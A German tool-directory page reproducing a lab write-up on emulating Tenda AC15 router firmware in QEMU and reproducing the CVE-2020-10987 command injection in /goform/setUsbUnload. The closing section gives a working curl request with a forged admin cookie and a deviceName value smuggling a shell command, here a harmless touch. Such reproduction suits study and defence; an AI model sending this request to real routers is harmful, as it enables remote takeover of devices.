Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tenda-Router-VR-and-Exploit — Beschreibung für Tenda AC15 Router Firmware-Neuhosting und Remote-Befehlsausführung (CVE-2020-10987) Exploit-Reproduktion. | Kitploit
Tools/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationReverse EngineeringPenetrationstestsHardware-SicherheitLernen & BildungFirmware-Analyse

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Binary-Exploitation
Labs & Praxis
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

Beschreibung für Tenda AC15 Router Firmware-Neuhosting und Remote-Befehlsausführung (CVE-2020-10987) Exploit-Reproduktion.

Repository anzeigen
1vor 9 MonatenNoch nicht geprüft

Tenda-Router-VR-and-Exploit

Diese Anleitung zeigt genau, wie ich den Webserver der AC15 (V15.03.05.19) Firmware mit QEMU emuliert, ihn vom Host-Browser aus erreichbar gemacht und den anfälligen /goform/setUsbUnload-Handler (CVE-2020-10987) genutzt habe, um eine Befehlseinführung im emulierten rootfs zu erreichen.


Übersicht

  • Das squashfs-Dateisystem aus dem Firmware-Image extrahieren (oder in unserem Fall beschaffen) und mit dem Reverse Engineering beginnen
  • Ein Debian-armhf-Gast unter qemu-system-arm aufsetzen
  • Netzwerk des Gasts und Portweiterleitung zum emulierten Router einrichten
  • Unser Boot-Skript erstellen
  • Den emulierten Router ausnutzen

Extrahieren des Dateisystems

Zuerst müssen wir unser Firmware-Image besorgen. Ich konnte den Download des Images für AC15 V15.03.05.19 nicht finden, jedoch fand ich ein GitHub-Repository mit dem bereits extrahierten squashfs-Dateisystem. Wenn wir die richtige Image-Datei hätten, könnten wir sie mit binwalk extrahieren, etwa so:``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
Da wir nicht die richtige Image-Datei haben, aber ein Repository mit dem bereits extrahierten Dateisystem, können wir einfach das Repository klonen.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

Ich habe ein Verzeichnis namens VR erstellt und dieses Repository darin geklont. Mein rootfs befindet sich unter $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs

Großartig, jetzt haben wir unsere AC15 V15.03.05.19-Firmware. Lassen Sie uns mit dem Reverse Engineering fortfahren, um zu sehen, was los ist.

Reverse Engineering

Ich werde Ghidra 11.4.2 für mein Reverse Engineering verwenden. Navigieren wir zu unserer Zielbinärdatei hier rootfs/bin/httpd und laden sie in Ghidra. Wenn wir zur Funktion formsetUsbUnload gehen, können wir sehen,```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
Dies ist die Schwachstelle. Der Parameter `deviceName` wird direkt an `doSystemCmd` übergeben, sodass wir beliebige Befehle senden können.

Da wir nun diese Firmware mit qemu und nicht mit der ursprünglichen Router-Hardware neu hosten werden, werden einige Programme versuchen, Geräte zu erreichen, die nicht vorhanden sind, und unseren Startvorgang zum Absturz bringen.
Da unser Ziel darin besteht, den Webserver (`httpd`) auszunutzen, habe ich mich nur darauf konzentriert, diese Binärdatei neu zu hosten, nicht den gesamten Startvorgang (`/rootfs/etc_ro/init.d/rcS`). _Im Nachhinein bin ich mir nicht sicher, ob das die richtige Entscheidung war_

Als ich mir also `rcS` ansah, wollte ich alles finden, was `rcS` tun könnte, was `httpd` benötigen würde. Gegen Ende der Datei sehen wir:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS startet cfmd im Hintergrund, kurz bevor der Rest des Stacks hochfährt. Nach weiterer Recherche und der Untersuchung, wie die angreifbare Funktion den Befehl sendet, bin ich zu dem Schluss gekommen, dass

  • httpd einen cfm post erstellt
  • Dann der cfm-Client mit cfmd über einen UNIX domain socket (z. B. /var/cfm_socket) kommuniziert

In der InitServer-Routine in cfmd können wir sehen```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
Es erstellt einen UIX-Socket und horcht.
Insgesamt funktioniert es so, dass der Handler von jedem Client einen festen 0x7e0-Byte-Frame liest (`RecvMsg`/`SendMsg`). Die ersten 4 Bytes sind ein Befehlscode; dann gibt es einen 512-Byte-Schlüsselpuffer und einen 1500-Byte-Wertpuffer (die Größen der Stack-Objekte sind im Handler ersichtlich). Es schaltet auf den Opcode und antwortet mit einem ACK-Code:
- `2` -> Get: `GetCfmValue(key, value)` dann Antwortcode `3`
- `0` -> Set: `SetCfmValue(key, value)` dann Antwortcode `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` dann Antwortcode `0x12`
- `10` -> Commit: `SaveCfm2Flash()` dann Antwort `0x10` (OK) oder `0xB` (Fehler)

Um `cfmd` zu emulieren, habe ich ein kurzes Skript `cfm_stub` erstellt.```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

Ich werde zeigen, wie man dies nach dem nächsten Teil kompiliert.

Die nächste Hilfsdatei ist hooks.so. Es gibt einige Funktionen, die in httpd und cfm verwendet werden und versuchen, mit nicht vorhandener Hardware zu interagieren. Im Folgenden wird angenommen, was unser Programm beim Start voraussetzt:

  • Flash- und MTD-Partitionen existieren und sind mountbar.
  • Ein NVRAM-Gerät existiert (/dev/nvram) und gibt sinnvolle Standardwerte zurück.
  • Diverse Plattformroutinen gelingen (Layer-7-Einstellungslader, RF-Leistungswiederherstellung usw.).

Die folgenden Funktionen werden zum Problem, und daher müssen wir mit LD_PRELOAD=/hooks.so patchen.

  • get_flash_type() -> wenn es 4 zurückgibt, nimmt der Code einen dateibasierten Pfad (cfm_file_init), andernfalls versucht er, mit MTD zu kommunizieren (was wir nicht haben).
  • get_cfm_blk_size_from_cache() (und/oder die Variante j_get_cfm_blk_size_from_cache) wird für die Konfigurationsblockgröße konsultiert.
  • Aufrufe an Broadcom-NVRAM-Shims (bcm_nvram_get) dürfen nicht fehlschlagen, sonst nimmt der Stack an, „NVRAM zerstört“ und geht in die Wiederherstellungs-/Neustartlogik über.
  • Zusätzliche Routinen wie load_l7setting_file() und restore_power() sollten erfolgreich sein, greifen aber auf nicht vorhandene Hardware/Dateien zu.

Hier ist unser hooks.c. Dank an azeria-labs für das Original.```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
Jetzt kompilieren wir diese Dateien und platzieren sie in unserer Firmware. Für das Cross-Compilieren können wir Bootlins vorgefertigte uClibc-Toolchain verwenden.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

Sie sollten so etwas wie das Folgende sehen.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
Jetzt können wir kompilieren mit```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

Dann installiere sie zuletzt in die Firmware.``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## Ein ARM-Gastsystem erstellen
Richten wir unseren ARM-Gast mit dem vollständigen QEMU-System ein.
Ich habe ein Verzeichnis erstellt, um dieses Gastsystem unter `~/qsys` zu speichern.

Jetzt richten wir in diesem Verzeichnis unseren Gast wie folgt ein```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

Dies wird unser armhf-rootfs erstellen, unseren Gast aktualisieren, einige Basistools einrichten und dann unser root username:password auf root:root setzen.

Als nächstes installieren Sie den armhf kernal mit```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
Dann kopieren wir den Kernel und erstellen das ext4-Image.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

Um nun unser Gastsystem zu starten Führen Sie von ~/qsys aus```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
Hier ist eine kurze Übersicht, was diese Zeilen im Startbefehl tatsächlich bedeuten.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Verwenden Sie das Versatile Express A9 Board-Modell (ein von Debian's armmp-Kernel unterstütztes Board)
- `-kernel/-dtb/-initr` Den Debian-Kernel/Initrd für dieses Board mit dem vexpress Device Tree Blob starten
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Standard-Rootfs-auf-SD-Setup mit serieller Konsole auf PL011
- `-nographic -audiodev none,id=noaudio` Nur serielle Oberfläche (kein SDL-Fenster) und kein Audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU-Benutzermodus-NAT; leite `host:2222` an `guest:22` und `host:8080` an `guest:80` weiter. Das ist wichtig für die Vernetzung. Wir werden später mehr darüber sprechen.
- `-device virtio-net-device,netdev=net0` Ein Netzwerkinterface an die `net0`-Backend anbinden.
- `-drive file=./armhf.ext4,if=sd,format=raw` Das Debian-Rootfs befindet sich auf einem SD-ähnlichen Blockgerät (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Stelle das Firmware-Rootfs (schreibgeschützt) über 9p mit Tag `fw` im Gast bereit. Wir werden es unter `/firmware` mounten und ein Overlayfs für Schreibbarkeit darüberlegen.

Jetzt könnten im Gast ein paar Fehler auftreten. Das ist in Ordnung, solange du zur Anmeldeaufforderung gelangst und dich mit `root:root` anmelden kannst.

Als nächstes, um Internet im Gast zu erhalten, führe folgendes aus:```
dhclient -v eth0  ||  udhcpc -i eth0

Dies wird einen DHCP-Lease auf eth0 erhalten

Installieren Sie nun socat``` apt-get update && apt-get install -y socat

root@kitploit:~
## Bootskript
Als nächstes erstellen wir unser Bootskript im Stammverzeichnis des Gasts.```bash
nano boot_tenda.sh

Hier ist unser Boot-Skript /root/boot_tenda_sh in unserer Gast-Umgebung mit Kommentaren, die jeden Schritt erklären.```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
Jetzt ist es Zeit, es auszuführen```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

Sie sollten einen Listener auf Port 80 mit httpd sehen. Zur weiteren Überprüfung navigieren Sie auf Ihrem Host zu http://127.0.0.1:8080/ und Sie sehen die Startseite des Routers.

Wenn Sie mehr darüber erfahren möchten, wie die Vernetzung funktioniert, lesen Sie weiter. Andernfalls können Sie zum letzten Abschnitt springen, in dem wir den Webserver ausnutzen.

Ein kurzer Überblick über die Funktionsweise der Vernetzung

Wir mussten den httpd des Routers innerhalb der Gastmaschine laden, aber vom Host-Browser unter http://127.0.0.1:8080/ erreichbar machen, während der Server weiterhin glaubt, an die LAN-IP des Routers (192.168.0.1) gebunden zu sein. Drei Komponenten ermöglichen dies:

  1. QEMU-Benutzernetzwerk (slirp) + hostfwd
  2. Eine virtuelle LAN-Schnittstelle in der Gastmaschine (br0 bei 192.168.0.1)
  3. Ein lokaler TCP-Relay in der Gastmaschine (socat)

1. QEMU-Benutzernetzwerk (slirp) + hostfwd

Dies tun wir im Startbefehl, wenn wir angeben```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` aktiviert slirp (QEMUs user-mode NAT): Der Gast erhält ausgehenden Internetzugang (DHCP, DNS), ohne dass auf dem Host Root-Brücken oder TAP-Geräte benötigt werden.
- `hostfwd=tcp::2222-:22` leitet Host-Port 2222 an Gast-Port 22 weiter.
- `hostfwd=tcp::8080-:80` leitet Host-Port 8080 an Gast-Port 80 weiter.

Dann erhalten wir den DHCP-Lease für `eth0`. Beachten Sie, dass Slirp dem Gast normalerweise `10.0.2.15` zuweist, mit dem Gateway unter `10.0.2.2`.```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. Die LAN-IP des Routers im Gast verfügbar machen

Die echte Firmware erwartet, sich an die LAN-Bridge br0 unter 192.168.0.1 zu binden. Das stellen wir nach:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- Die Binärdateien (oder deren Bibliotheken) fragen oft nach Schnittstellennamen (z.B. `lan_ifname=br0`) und erwarten ein Bridge-Gerät.
- Das Binden von httpd an `192.168.0.1` bewirkt, dass das Verhalten/die Weiterleitungen (z.B. `302` zu `http://192.168.0.1/main.html`) mit dem echten Gerät identisch sind.
- An diesem Punkt hört httpd nur auf `192.168.0.1:80` (nicht auf dem `eth0` des Gasts).

### 3. Bridge hostfwd -> Firmware-Listener mit `socat`
`host:8080` -> `guest:80` wird bereits von QEMU eingerichtet. Aber `httpd` hört nicht auf dem `eth0:80` des Gasts; es hört auf `192.168.0.1:80`. Also fügen wir im Gast einen winzigen TCP-Relay hinzu:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

Hier ist das gesamte Layout``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## Exploit-Zeit
Der Web-Stack schützt „goform“-Endpunkte hinter einigen Same-Origin/AJAX-Prüfungen und einem „logged in“-Cookie. Senden Sie die gleichen Header, die das UI-JavaScript senden würde:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

Was macht das genau?

  • Host/Origin/Referer/X-Requested-With besteht die AJAX- und Same-Origin-Prüfungen im Handler
  • Cookie: user=admin; password=<md5> simuliert eine eingeloggte Sitzung. In diesem Fall habe ich md5("admin") = 21232f297a57a5a743894a0e4a801fc3 verwendet
  • deviceName=$(touch /tmp/Hello_World) setzt den Gerätenamen auf den Befehl, den wir ausführen möchten. In diesem Fall erstellen wir eine Datei /tmp/Hello_World Hinweis: Die Ausführung dieses Befehls wird eine Weile hängen bleiben und dann höchstwahrscheinlich die Verbindung mit einem Fehler schließen. Das ist in Ordnung und der Beweis, dass es funktioniert hat.

Als Nächstes können wir im Gast zur weiteren Überprüfung nach der Existenz unserer neuen Datei suchen.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
Sie sollten sehen```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

Wir haben unseren erneut gehosteten Router erfolgreich ausgenutzt, indem wir unseren gesendeten Befehl ausgeführt haben.

Tool herunterladen